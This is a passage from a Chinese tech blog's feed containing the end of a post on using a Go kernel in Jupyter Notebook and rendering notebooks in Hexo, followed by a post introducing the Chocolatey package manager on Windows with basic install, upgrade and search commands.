&#x4E0A;&#x6709;&#x6CA1;&#x6709;&#x3002;&#x8FD8;&#x771F;&#x6709;&#xFF1A;<a href="https://github.com/qrsforever/hexo-jupyter-notebook">https://github.com/qrsforever/hexo-jupyter-notebook</a></p><p>&#x770B;&#x4E86;&#x4E00;&#x4E0B;&#xFF0C;&#x8FD9;&#x5176;&#x5B9E;&#x8DDF;&#x524D;&#x9762; npm &#x5305;&#x662F;&#x540C;&#x4E00;&#x4E2A;&#x4F5C;&#x8005;&#xFF0C;&#x53EA;&#x4E0D;&#x8FC7;&#x4ED6; 7 &#x5E74;&#x524D;&#x4E0A;&#x4F20;&#x5230; npm &#x4ED3;&#x5E93;&#x540E;&#xFF0C;&#x53C8;&#x6539;&#x4E86; Github &#x7684;&#x7528;&#x6237;&#x540D;&#xFF0C;&#x6240;&#x4EE5;&#x4F1A;&#x5BFC;&#x81F4;&#x539F;&#x6765;&#x7684; homepage link &#x5931;&#x6548;&#x3002;&#x8FD9;&#x4E2A;&#x4ED3;&#x5E93;&#x7684;&#x4EE3;&#x7801;&#x6BD4; npm &#x63D0;&#x4F9B;&#x7684;&#x5305;&#x66F4;&#x65B0;&#xFF0C;&#x53EF;&#x9760;&#x6027;&#x5E94;&#x8BE5;&#x66F4;&#x5F3A;&#x4E00;&#x70B9;&#x5427;&#x3002;&#x8981;&#x4F7F;&#x7528;&#x4E5F;&#x5F88;&#x7B80;&#x5355;&#xFF0C;&#x5220;&#x6389;&#x65E7;&#x7684;&#xFF0C;&#x5C06;&#x4ED3;&#x5E93;&#x514B;&#x9686;&#x5230;&#x672C;&#x5730; node_modules/ &#x76EE;&#x5F55;&#x4E0B;&#x5373;&#x53EF;&#x3002;&#x7ED3;&#x679C;&#x6267;&#x884C;&#x5E76;&#x4E0D;&#x987A;&#x5229;&#xFF0C;&#x8FD8;&#x662F;&#x6709; bug&#x3002;</p><p>&#x6700;&#x540E;&#xFF0C;&#x8DDF;&#x524D;&#x9762;&#x4E00;&#x6837;&#xFF0C;&#x201C;hack&#x201D; &#x4E00;&#x4E0B;&#xFF0C;&#x6CE8;&#x91CA;&#x6389;&#x4E00;&#x884C;&#x4EE3;&#x7801;&#xFF0C;&#x8FD9;&#x4E2A;&#x63D2;&#x4EF6;&#x624D;&#x80FD;&#x8DD1;&#x901A;&#xFF1A;</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">diff --git a/main.py b/main.py</span></span><br><span class="line"><span class="comment">index 5eee609..68a5a9f 100644</span></span><br><span class="line"><span class="comment">--- a/main.py</span></span><br><span class="line"><span class="comment">+++ b/main.py</span></span><br><span class="line"><span class="meta">@@ -27,7 +27,7 @@</span> def main(asset_dir, jupyter_file, inc_height):</span><br><span class="line">     if not os.path.exists(jupyter_file):</span><br><span class="line">         dn = os.path.dirname(asset_dir)</span><br><span class="line">         if os.path.exists(dn + &quot;.md&quot;):</span><br><span class="line"><span class="deletion">-            dn = os.path.dirname(dn)</span></span><br><span class="line"><span class="addition">+            # dn = os.path.dirname(dn)</span></span><br><span class="line">             jupyter_file = os.path.join(dn, jupyter_file)</span><br><span class="line">         else:</span><br><span class="line">             print(&quot;not found: &quot; + os.path.join(asset_dir, jupyter_file))</span><br></pre></td></tr></table></figure><p>&#x672C;&#x8D28;&#x4E0A; <code>hexo-jupyter-notebook</code> &#x63D2;&#x4EF6;&#x662F;&#x5229;&#x7528; nbconvert &#x5E93;&#x5C06; <code>.ipynb</code> &#x6587;&#x4EF6;&#x8F6C;&#x6362;&#x4E3A; <code>.html</code> &#x6587;&#x4EF6;&#xFF0C;&#x5E76;&#x6DFB;&#x52A0;&#x4E00;&#x4E9B;&#x6837;&#x5F0F;&#x5BF9;&#x6E32;&#x67D3;&#x7ED3;&#x679C;&#x8FDB;&#x884C;&#x4FEE;&#x9970;&#x3002;&#x800C; nbconvert &#x5E93;&#x7684;&#x5B89;&#x88C5;&#x524D;&#x63D0;&#x9700;&#x8981;&#x4F9D;&#x8D56; pandoc&#xFF0C;&#x6240;&#x4EE5;&#x4F7F;&#x7528; <code>hexo-jupyter-notebook</code> &#x63D2;&#x4EF6;&#xFF0C;&#x9700;&#x8981;&#x5148;&#x5B89;&#x88C5;&#x4F9D;&#x8D56;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">choco install pandoc</span><br><span class="line">pip install nbconvert</span><br></pre></td></tr></table></figure><blockquote><p><strong>&#x6CE8;&#x610F;</strong> choco &#x547D;&#x4EE4;&#x662F; Windows &#x4E0A;&#x7684;&#x5305;&#x7BA1;&#x7406;&#x5DE5;&#x5177;&#xFF0C;&#x8BE6;&#x60C5;&#x89C1;&#x8FD9;&#x7BC7;&#x6587;&#x7AE0;&#xFF1A;<a href="/posts/727774e8.html" title="Windows &#x4E0A;&#x5C45;&#x7136;&#x4E5F;&#x6709;&#x5305;&#x7BA1;&#x7406;&#x5DE5;&#x5177;?">Windows &#x4E0A;&#x5C45;&#x7136;&#x4E5F;&#x6709;&#x5305;&#x7BA1;&#x7406;&#x5DE5;&#x5177;?</a></p></blockquote><p>&#x81F3;&#x6B64;&#xFF0C;&#x5728; hexo &#x535A;&#x5BA2;&#x91CC;&#x9762;&#x663E;&#x793A; Jupyter Notebook &#x5185;&#x5BB9;&#x7684;&#x95EE;&#x9898;&#x521D;&#x6B65;&#x89E3;&#x51B3;&#x4E86;&#x3002;</p><p>&#x56DE;&#x5230;&#x4E3B;&#x9898;&#xFF0C;&#x6709;&#x4E86; Go kernel &#x7684;&#x652F;&#x6301;&#xFF0C;&#x6211;&#x4EEC;&#x76F8;&#x5F53;&#x4E8E;&#x5C31;&#x6709;&#x4E86;&#x81EA;&#x5DF1;&#x7684;&#x672C;&#x5730; Go Playground&#xFF0C;&#x53EF;&#x4EE5;&#x5F88;&#x65B9;&#x4FBF;&#x7684;&#x8FD0;&#x884C;&#x5C0F;&#x578B;&#x7684; Go &#x4EE3;&#x7801;&#x7247;&#x6BB5;&#xFF0C; &#x7528;&#x4E8E;&#x6F14;&#x793A;&#x8BED;&#x8A00;&#x76F8;&#x5173;&#x7684;&#x7279;&#x6027;&#xFF0C;&#x4FBF;&#x4E8E;&#x5B66;&#x4E60;&#xFF0C;&#x975E;&#x5E38;&#x5B9E;&#x7528;&#x3002;&#x5F53;&#x7136;&#xFF0C;&#x5728; Windows &#x4E0A; gophernotes &#x8FD8;&#x5B58;&#x5728;&#x4E00;&#x4E9B;&#x4E0D;&#x8DB3;&#x548C;&#x9650;&#x5236;&#x3002;</p><h3 id="&#x5728;-VS-Code-&#x4E2D;&#x4F7F;&#x7528;-Jupyter-Notebook">&#x5728; VS Code &#x4E2D;&#x4F7F;&#x7528; Jupyter Notebook</h3><p>&#x5728;&#x8FD0;&#x884C; Jupyter Notebook &#x65F6;&#xFF0C;&#x4F1A;&#x8DF3;&#x8F6C;&#x5230;&#x6D4F;&#x89C8;&#x5668;&#x6253;&#x5F00;&#x4E00;&#x4E2A;&#x65B0;&#x9875;&#x9762;&#xFF0C; &#x6240;&#x4EE5;&#x53EF;&#x4EE5;&#x8BA4;&#x4E3A;&#x5B83;&#x662F;&#x57FA;&#x4E8E;&#x6D4F;&#x89C8;&#x5668;&#x7684; web &#x5E94;&#x7528;&#x3002;&#x4F46;&#x662F;&#x6211;&#x4EEC;&#x4E5F;&#x53EF;&#x4EE5;&#x4E0D;&#x8FD9;&#x4E48;&#x73A9;&#xFF0C;&#x5728; VS Code &#x4E0A;&#x6709; Jupyter &#x63D2;&#x4EF6;&#xFF0C;&#x6211;&#x5B89;&#x88C5;&#x4E86; Jupyter, Jupyter Notebook Renderers&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x53EF;&#x4EE5;&#x5728; VS Code &#x91CC;&#x9762;&#x6109;&#x5FEB;&#x5730;&#x4F7F;&#x7528; Jupyter notebook &#x7684;&#x529F;&#x80FD;&#x4E86;&#x3002;</p><h3 id="&#x6253;&#x8138;&#x66F4;&#x65B0;">&#x6253;&#x8138;&#x66F4;&#x65B0;</h3><ol><li class="lvl-3"><p>&#x5DF2;&#x7ECF;&#x4F7F;&#x7528; GoNB &#x4F5C;&#x4E3A; go kernel &#x4E86;&#x3002;</p></li><li class="lvl-3"><p>&#x5DF2;&#x7ECF;&#x76F4;&#x63A5;&#x4F7F;&#x7528; <a href="https://nbviewer.org/">nbviewer</a> &#x7F51;&#x7AD9;&#x8FDB;&#x884C; <code>.ipynb</code> &#x6587;&#x4EF6;&#x6E32;&#x67D3;&#x4E86;&#xFF0C;&#x4F7F;&#x7528; <code>hexo-jupyter-notebook</code> &#x6216;&#x8005; <code>hexo-ipynb</code> &#x6709;&#x5751;&#x3002;</p></li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x5982;&amp;#x679C;&amp;#x4F60;&amp;#x7FA1;&amp;#x6155;&amp;#x4F7F;&amp;#x7528; Jupyter Notebook &amp;#x7684;&amp;#x4EBA;&amp;#x8F7B;&amp;#x677E;&amp;#x5C06; Python &amp;#x4EE3;&amp;#x7801;&amp;#x5D4C;&amp;#x5165;&amp;#x6587;&amp;#x6863;&amp;#xFF0C;&amp;#x5E76;&amp;#x52A8;&amp;#x6001;&amp;#x7684;&amp;#x5C55;&amp;#x793A;&amp;#x5176;&amp;#x7ED3;&amp;#x679C;&amp;#xFF0C;&amp;#x90A3;&amp;#x4E48;&amp;#x4F60;&amp;#x5176;&amp;#x5B9E;&amp;#x4E5F;&amp;#x53EF;&amp;#x4EE5;&amp;#x5E94;&amp;#x7528;&amp;#x5230; Golang &amp;#x4E0A;&amp;#x3002;&lt;/p&gt;
&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x8BE6;&amp;#x7EC6;&amp;#x4ECB;&amp;#x7ECD;&amp;#x5982;&amp;#x4F55;&amp;#x5728;Jupyter Notebook&amp;#x4E2D;&amp;#x6DFB;&amp;#x52A0;Go&amp;#x8BED;&amp;#x8A00;&amp;#x652F;&amp;#x6301;&amp;#xFF0C;&amp;#x5B9E;&amp;#x73B0;&amp;#x7C7B;&amp;#x4F3C;Go Playground&amp;#x7684;&amp;#x672C;&amp;#x5730;&amp;#x5F00;&amp;#x53D1;&amp;#x73AF;&amp;#x5883;&amp;#x3002;&amp;#x4ECE;&amp;#x5B89;&amp;#x88C5;&amp;#x914D;&amp;#x7F6E;Gophernotes kernel&amp;#xFF0C;&amp;#x5230;&amp;#x89E3;&amp;#x51B3;Windows&amp;#x7CFB;&amp;#x7EDF;&amp;#x4E0B;&amp;#x7684;&amp;#x5B9E;&amp;#x73B0;&amp;#x95EE;&amp;#x9898;&amp;#xFF0C;&amp;#x518D;&amp;#x5230;&amp;#x5C06;Jupyter&amp;#x7B14;&amp;#x8BB0;&amp;#x672C;&amp;#x96C6;&amp;#x6210;&amp;#x5230;Hexo&amp;#x535A;&amp;#x5BA2;&amp;#x4E2D;&amp;#x7684;&amp;#x591A;&amp;#x79CD;&amp;#x65B9;&amp;#x6848;&amp;#x5BF9;&amp;#x6BD4;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x8FD8;&amp;#x5206;&amp;#x4EAB;&amp;#x4E86;VS Code&amp;#x4E0E;Jupyter&amp;#x7684;&amp;#x6574;&amp;#x5408;&amp;#x6280;&amp;#x5DE7;&amp;#xFF0C;&amp;#x4E3A;Go&amp;#x5F00;&amp;#x53D1;&amp;#x8005;&amp;#x63D0;&amp;#x4F9B;&amp;#x4E86;&amp;#x4E00;&amp;#x4E2A;&amp;#x4EA4;&amp;#x4E92;&amp;#x5F0F;&amp;#x7F16;&amp;#x7A0B;&amp;#x4E0E;&amp;#x6587;&amp;#x6863;&amp;#x5C55;&amp;#x793A;&amp;#x7684;&amp;#x5168;&amp;#x65B0;&amp;#x89E3;&amp;#x51B3;&amp;#x65B9;&amp;#x6848;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="Tools" scheme="https://oschina.win/categories/Tools/"/>
    
    <category term="Jupyter Notebook" scheme="https://oschina.win/categories/Tools/Jupyter-Notebook/"/>
    
    
    <category term="Golang" scheme="https://oschina.win/tags/Golang/"/>
    
    <category term="Python" scheme="https://oschina.win/tags/Python/"/>
    
    <category term="Windows" scheme="https://oschina.win/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>Windows 上居然也有包管理工具?</title>
    <link href="https://oschina.win/posts/727774e8.html"/>
    <id>https://oschina.win/posts/727774e8.html</id>
    <published>2024-08-13T06:28:53.000Z</published>
    <updated>2025-04-25T13:17:36.621Z</updated>
    
    <content type="html"><![CDATA[<p>&#x7528;&#x8FC7; Linux &#x6216;&#x8005; MacOs &#x7684;&#x4EBA;&#x80AF;&#x5B9A;&#x719F;&#x6089;&#x5305;&#x7BA1;&#x7406;&#x5668;&#xFF0C;&#x5982; apt, rpm, brew&#xFF0C;&#x4F46;&#x662F;&#x4F60;&#x77E5;&#x9053; Windows &#x4E0A;&#x4E5F;&#x6709;&#x5305;&#x7BA1;&#x7406;&#x5DE5;&#x5177;&#x5417;&#xFF1F;</p><p>&#x672C;&#x6587;&#x4ECB;&#x7ECD;&#x4E86;Windows&#x7CFB;&#x7EDF;&#x4E0A;&#x7684;&#x5305;&#x7BA1;&#x7406;&#x5DE5;&#x5177;Chocolatey&#xFF0C;&#x8BE6;&#x7EC6;&#x8BB2;&#x89E3;&#x4E86;&#x5176;&#x5B89;&#x88C5;&#x3001;&#x4F7F;&#x7528;&#x548C;&#x529F;&#x80FD;&#x7279;&#x70B9;&#x3002;&#x6587;&#x7AE0;&#x9996;&#x5148;&#x4ECB;&#x7ECD;&#x4E86;Chocolatey&#x7684;&#x80CC;&#x666F;&#x548C;&#x4F18;&#x52BF;&#xFF0C;&#x7136;&#x540E;&#x901A;&#x8FC7;&#x5B9E;&#x9645;&#x64CD;&#x4F5C;&#x6F14;&#x793A;&#x4E86;&#x5982;&#x4F55;&#x67E5;&#x770B;&#x548C;&#x5347;&#x7EA7;Chocolatey&#x7248;&#x672C;&#xFF0C;&#x4EE5;&#x53CA;&#x5982;&#x4F55;&#x4F7F;&#x7528;&#x7B80;&#x5355;&#x547D;&#x4EE4;&#x5B89;&#x88C5;&#x8F6F;&#x4EF6;&#x3001;&#x6307;&#x5B9A;&#x8F6F;&#x4EF6;&#x7248;&#x672C;&#x548C;&#x641C;&#x7D22;&#x8F6F;&#x4EF6;&#x5305;&#x3002;&#x6587;&#x7AE0;&#x8FD8;&#x63D0;&#x4F9B;&#x4E86;&#x5FC5;&#x8981;&#x7684;&#x4F7F;&#x7528;&#x63D0;&#x793A;&#xFF0C;&#x5982;&#x9700;&#x8981;&#x7BA1;&#x7406;&#x5458;&#x6743;&#x9650;&#x7B49;&#x6CE8;&#x610F;&#x4E8B;&#x9879;&#xFF0C;&#x5E76;&#x901A;&#x8FC7;&#x622A;&#x56FE;&#x5C55;&#x793A;&#x4E86;&#x5B9E;&#x9645;&#x64CD;&#x4F5C;&#x6548;&#x679C;&#xFF0C;&#x4E3A;Windows&#x7528;&#x6237;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x79CD;&#x9AD8;&#x6548;&#x7BA1;&#x7406;&#x8F6F;&#x4EF6;&#x7684;&#x65B0;&#x65B9;&#x5F0F;&#x3002;</p><span id="more"></span><p>&#x5176;&#x5B9E;&#x5728; 2011 &#x5E74;&#x5C31;&#x8BDE;&#x751F;&#x4E86; Chocolatey&#xFF0C; &#x5B83;&#x7684;&#x76EE;&#x6807;&#x5F88;&#x7B80;&#x5355;&#xFF0C;&#x5C31;&#x662F;&#x4E3A; Windows &#x63D0;&#x4F9B;&#x4E00;&#x4E2A;&#x901A;&#x7528;&#x7684;&#x8F6F;&#x4EF6;&#x5305;&#x7BA1;&#x7406;&#x5668;&#x3002;&#x53EF;&#x80FD;&#x5F88;&#x591A;&#x4EBA;&#x4E0D;&#x4E60;&#x60EF;&#x5728; Windows &#x7CFB;&#x7EDF;&#x4E0A;&#x4F7F;&#x7528;&#x547D;&#x4EE4;&#x8FDB;&#x884C;&#x64CD;&#x4F5C;&#xFF0C;&#x6240;&#x4EE5;&#x4E0D;&#x77E5;&#x9053;&#x8FD9;&#x4E2A;&#x5DE5;&#x5177;&#x3002;&#x6211;&#x4E5F;&#x662F;&#x4ECA;&#x5E74;&#x5076;&#x7136;&#x53D1;&#x73B0;&#x7684;&#xFF0C;&#x7136;&#x540E;&#x89C9;&#x5F97;&#x8FD8;&#x633A;&#x597D;&#x7528;&#x7684;&#xFF0C;&#x6709;&#x4E86;&#x5B83;&#x5C31;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x4E00;&#x884C;&#x547D;&#x4EE4;&#x5C31;&#x80FD;&#x5B89;&#x88C5;&#x5E38;&#x7528;&#x7684;&#x8F6F;&#x4EF6;&#xFF0C;&#x4E0D;&#x7528;&#x641C;&#x7D22;&#x8F6F;&#x4EF6;&#x7684;&#x5B98;&#x7F51;&#xFF0C;&#x7136;&#x540E;&#x627E;&#x6587;&#x6863;&#x6216;&#x8005;&#x5305;&#x4E0B;&#x8F7D;&#x7684;&#x6309;&#x94AE;&#xFF0C;&#x7136;&#x540E;&#x70B9;&#x51FB;&#x4E0B;&#x8F7D;&#xFF0C;&#x6700;&#x540E;&#x518D;&#x70B9;&#x51FB;&#x5B89;&#x88C5;&#x7B49;&#x7B49;&#x8FD9;&#x4E00;&#x4E9B;&#x5217;&#x6B65;&#x9AA4;&#x3002;</p><p>&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5148;&#x770B;&#x4E0B;&#x5B83;&#x7684; <a href="https://community.chocolatey.org/">&#x5B98;&#x7F51;</a>&#xFF0C;&#x91CC;&#x9762;&#x5305;&#x7684;&#x6570;&#x91CF;&#x548C;&#x4E0B;&#x8F7D;&#x91CF;&#x633A;&#x591A;&#x7684;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240824215747.png" alt="image.png"></p><h3 id="&#x67E5;&#x6536;&#x4F60;&#x7684;&#x5DE7;&#x514B;&#x529B;">&#x67E5;&#x6536;&#x4F60;&#x7684;&#x5DE7;&#x514B;&#x529B;</h3><p>&#x53EA;&#x8981;&#x4F60;&#x7684; Windows &#x7535;&#x8111;&#x4E0D;&#x662F;&#x53E4;&#x8463;&#x7EA7;&#x522B;&#xFF0C;&#x5E94;&#x8BE5;&#x90FD;&#x5DF2;&#x7ECF;&#x5185;&#x7F6E;&#x4E86; Chocolatey&#x3002;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x6253;&#x5F00; <code>&#x547D;&#x4EE4;&#x63D0;&#x793A;&#x7B26;</code> &#x7A97;&#x53E3;&#xFF0C;&#x6216;&#x8005; <code>Windows PowerShell</code> &#x7A97;&#x53E3;&#xFF0C;&#x518D;&#x5728;&#x7A97;&#x53E3;&#x4E2D;&#x8F93;&#x5165;&#xFF1A;<code>choco version</code> &#x5C31;&#x80FD;&#x67E5;&#x770B;&#x5F53;&#x524D;&#x7684;&#x7248;&#x672C;&#xFF0C;&#x8FD9;&#x91CC; <code>choco</code> &#x5F53;&#x7136;&#x5C31;&#x662F; Chocolatey &#x547D;&#x4EE4;&#x7684;&#x7B80;&#x5199;&#x6216;&#x522B;&#x540D;(alias)&#x3002;</p><h3 id="&#x5347;&#x7EA7;&#x5DE7;&#x514B;&#x529B;">&#x5347;&#x7EA7;&#x5DE7;&#x514B;&#x529B;</h3><div class="tag-plugin colorful note" color="yellow"><div class="title">&#x63D0;&#x9192;</div><div class="body"><p>&#x4F7F;&#x7528; choco &#x8FDB;&#x884C;&#x8F6F;&#x4EF6;&#x5347;&#x7EA7;&#x3001;&#x5B89;&#x88C5;&#x65F6;&#xFF0C;<code>&#x547D;&#x4EE4;&#x63D0;&#x793A;&#x7B26;</code> &#x7A97;&#x53E3;&#x6216;&#x8005; <code>Windows PowerShell</code> &#x7A97;&#x53E3;&#x5FC5;&#x987B;&#x662F;&#x5728; <code>&#x7BA1;&#x7406;&#x5458;&#x7684;&#x8EAB;&#x4EFD;</code> &#x4E0B;&#x6253;&#x5F00;&#x7684;&#xFF0C;&#x5426;&#x5219;&#x4F1A;&#x63D0;&#x793A;&#x6CA1;&#x6709;&#x8DB3;&#x591F;&#x6743;&#x9650;&#x3002;</p></div></div><p>&#x4E00;&#x822C;&#x9ED8;&#x8BA4;&#x5185;&#x7F6E;&#x7684; Chocolatey &#x5927;&#x6982;&#x7387;&#x4E0D;&#x662F;&#x6700;&#x65B0;&#x7248;&#x672C;&#xFF0C;&#x6240;&#x4EE5;&#x5C31;&#x9700;&#x8981;&#x5148;&#x5347;&#x7EA7;&#xFF0C;&#x5347;&#x7EA7;&#x4E5F;&#x5F88;&#x7B80;&#x5355;&#xFF0C;&#x8F93;&#x5165;&#x547D;&#x4EE4;&#x5982;&#x4E0B;&#xFF1A;</p><div class="tag-plugin copy"><span>Powershell</span><input class="copy-area" id="copy_1" value="choco upgrade chocolatey"><button class="copy-btn" onclick="util.copy(&quot;copy_1&quot;,&quot;&#x590D;&#x5236;&#x6210;&#x529F;&quot;)"><svg class="icon copy-btn" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M5.75 1a.75.75 0 00-.75.75v3c0 .414.336.75.75.75h4.5a.75.75 0 00.75-.75v-3a.75.75 0 00-.75-.75h-4.5zm.75 3V2.5h3V4h-3zm-2.874-.467a.75.75 0 00-.752-1.298A1.75 1.75 0 002 3.75v9.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-9.5a1.75 1.75 0 00-.874-1.515.75.75 0 10-.752 1.298.25.25 0 01.126.217v9.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-9.5a.25.25 0 01.126-.217z"/></svg></button></div><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240820013003.png" alt></p><p>&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x6211;&#x7684;&#x7248;&#x672C;&#x4ECE; <code>v0.10.15</code> &#x4E00;&#x4E0B;&#x5B50;&#x5347;&#x7EA7;&#x5230;&#x4E86; <code>v2.3.0</code>&#xFF0C;&#x5DE8;&#x5927;&#x7684;&#x5347;&#x7EA7; &#x1F603;</p><h3 id="&#x5B89;&#x88C5;&#x8F6F;&#x4EF6;">&#x5B89;&#x88C5;&#x8F6F;&#x4EF6;</h3><p>&#x6BD4;&#x5982;&#x6211;&#x8981;&#x5B89;&#x88C5; <a href="https://www.postman.com/">postman</a> &#x8FD9;&#x4E2A;&#x5DE5;&#x5177;&#xFF0C;&#x5728; Windows &#x4E0A;&#x4F20;&#x7EDF;&#x7684;&#x5B89;&#x88C5;&#x6B65;&#x9AA4;&#x5C31;&#x4E0D;&#x518D;&#x8D58;&#x8FF0;&#x4E86;&#xFF0C;&#x53CD;&#x6B63;&#x8981;&#x70B9;&#x51FB;&#x597D;&#x591A;&#x6B21;&#x3002;&#x73B0;&#x5728;&#x5B66;&#x4F1A;&#x4E86;&#x4F7F;&#x7528; Chocolatey&#xFF0C;&#x90A3;&#x4E48;&#x53EA;&#x9700;&#x8981;&#xFF1A;</p><div class="tag-plugin copy"><span>Powershell</span><input class="copy-area" id="copy_2" value="choco install postman"><button class="copy-btn" onclick="util.copy(&quot;copy_2&quot;,&quot;&#x590D;&#x5236;&#x6210;&#x529F;&quot;)"><svg class="icon copy-btn" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M5.75 1a.75.75 0 00-.75.75v3c0 .414.336.75.75.75h4.5a.75.75 0 00.75-.75v-3a.75.75 0 00-.75-.75h-4.5zm.75 3V2.5h3V4h-3zm-2.874-.467a.75.75 0 00-.752-1.298A1.75 1.75 0 002 3.75v9.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-9.5a1.75 1.75 0 00-.874-1.515.75.75 0 10-.752 1.298.25.25 0 01.126.217v9.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-9.5a.25.25 0 01.126-.217z"/></svg></button></div><div class="tag-plugin colorful note" color="yellow"><div class="title">&#x63D0;&#x9192;</div><div class="body"><p>&#x4F7F;&#x7528; choco &#x8FDB;&#x884C;&#x8F6F;&#x4EF6;&#x5347;&#x7EA7;&#x3001;&#x5B89;&#x88C5;&#x65F6;&#xFF0C;<code>&#x547D;&#x4EE4;&#x63D0;&#x793A;&#x7B26;</code> &#x7A97;&#x53E3;&#x6216;&#x8005; <code>Windows PowerShell</code> &#x7A97;&#x53E3;&#x5FC5;&#x987B;&#x662F;&#x5728; <code>&#x7BA1;&#x7406;&#x5458;&#x7684;&#x8EAB;&#x4EFD;</code> &#x4E0B;&#x6253;&#x5F00;&#x7684;&#xFF0C;&#x5426;&#x5219;&#x4F1A;&#x63D0;&#x793A;&#x6CA1;&#x6709;&#x8DB3;&#x591F;&#x6743;&#x9650;&#x3002;</p></div></div><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240821012302.png" alt></p><p>&#x5982;&#x679C;&#x4E0D;&#x60F3;&#x5728;&#x5B89;&#x88C5;&#x8FC7;&#x7A0B;&#x4E2D;&#x518D;&#x624B;&#x52A8;&#x8F93;&#x5165; [Y]es &#x8FDB;&#x884C;&#x786E;&#x8BA4;&#xFF0C;&#x6216;&#x8005;&#x60F3;&#x8981;&#x6307;&#x5B9A;&#x7248;&#x672C;&#xFF0C;&#x90A3;&#x4E48;&#xFF1A;</p><div class="tag-plugin copy"><span>Powershell</span><input class="copy-area" id="copy_3" value="choco install postman --version 11.7.0 -y"><button class="copy-btn" onclick="util.copy(&quot;copy_3&quot;,&quot;&#x590D;&#x5236;&#x6210;&#x529F;&quot;)"><svg class="icon copy-btn" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M5.75 1a.75.75 0 00-.75.75v3c0 .414.336.75.75.75h4.5a.75.75 0 00.75-.75v-3a.75.75 0 00-.75-.75h-4.5zm.75 3V2.5h3V4h-3zm-2.874-.467a.75.75 0 00-.752-1.298A1.75 1.75 0 002 3.75v9.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-9.5a1.75 1.75 0 00-.874-1.515.75.75 0 10-.752 1.298.25.25 0 01.126.217v9.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-9.5a.25.25 0 01.126-.217z"/></svg></button></div><p>&#x5982;&#x679C;&#x4E0D;&#x786E;&#x5B9A;&#x5B98;&#x7F51;&#x6709;&#x6CA1;&#x6709;&#x8FD9;&#x4E2A;&#x8F6F;&#x4EF6;&#xFF0C;&#x6216;&#x8005;&#x6709;&#x6CA1;&#x6709;&#x67D0;&#x4E2A;&#x7248;&#x672C;&#xFF0C;&#x53EF;&#x4EE5;&#x8FDB;&#x884C;&#x641C;&#x7D22;&#xFF1A;</p><div class="tag-plugin copy"><span>Powershell</span><input class="copy-area" id="copy_4" value="choco search postman"><button class="copy-btn" onclick="util.copy(&quot;copy_4&quot;,&quot;&#x590D;&#x5236;&#x6210;&#x529F;&quot;)"><svg class="icon copy-btn" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M5.75 1a.75.75 0 00-.75.75v3c0 .414.336.75.75.75h4.5a.75.75 0 00.75-.75v-3a.75.75 0 00-.75-.75h-4.5zm.75 3V2.5h3V4h-3zm-2.874-.467a.75.75 0 00-.752-1.298A1.75 1.75 0 002 3.75v9.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-9.5a1.75 1.75 0 00-.874-1.515.75.75 0 10-.752 1.298.25.25 0 01.126.217v9.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-9.5a.25.25 0 01.126-.217z"/></svg></button></div><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240824221021.png" alt></p><p>&#x5F53;&#x7136;&#xFF0C;&#x522B;&#x5FD8;&#x4E86;&#x8FD8;&#x53EF;&#x4EE5;&#x53BB;&#x5B98;&#x7F51;&#x7684;&#x9875;&#x9762;&#x4E0A;&#x8FDB;&#x884C;&#x641C;&#x7D22;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240824221518.png" alt="image.png"></p><h3 id="&#x6700;&#x540E;">&#x6700;&#x540E;</h3><p>Chocolately &#x4E0D;&#x53EA;&#x662F;&#x4E00;&#x4E2A;&#x5305;&#x7BA1;&#x7406;&#x5668;&#xFF0C;&#x5B83;&#x8FD8;&#x6709;&#x6784;&#x5EFA;&#xFF0C;&#x90E8;&#x7F72;&#x8F6F;&#x4EF6;&#x7B49;&#x7B49;&#x5F3A;&#x5927;&#x548C;&#x7075;&#x6D3B;&#x7684;&#x529F;&#x80FD;&#xFF0C;&#x5F53;&#x7136;&#x8FD9;&#x4E9B;&#x53EA;&#x9650;&#x4E8E; Windows &#x8F6F;&#x4EF6;&#x7684;&#x751F;&#x6001;&#x8303;&#x56F4;&#x5185;&#x3002;</p>]]></content>
    
    
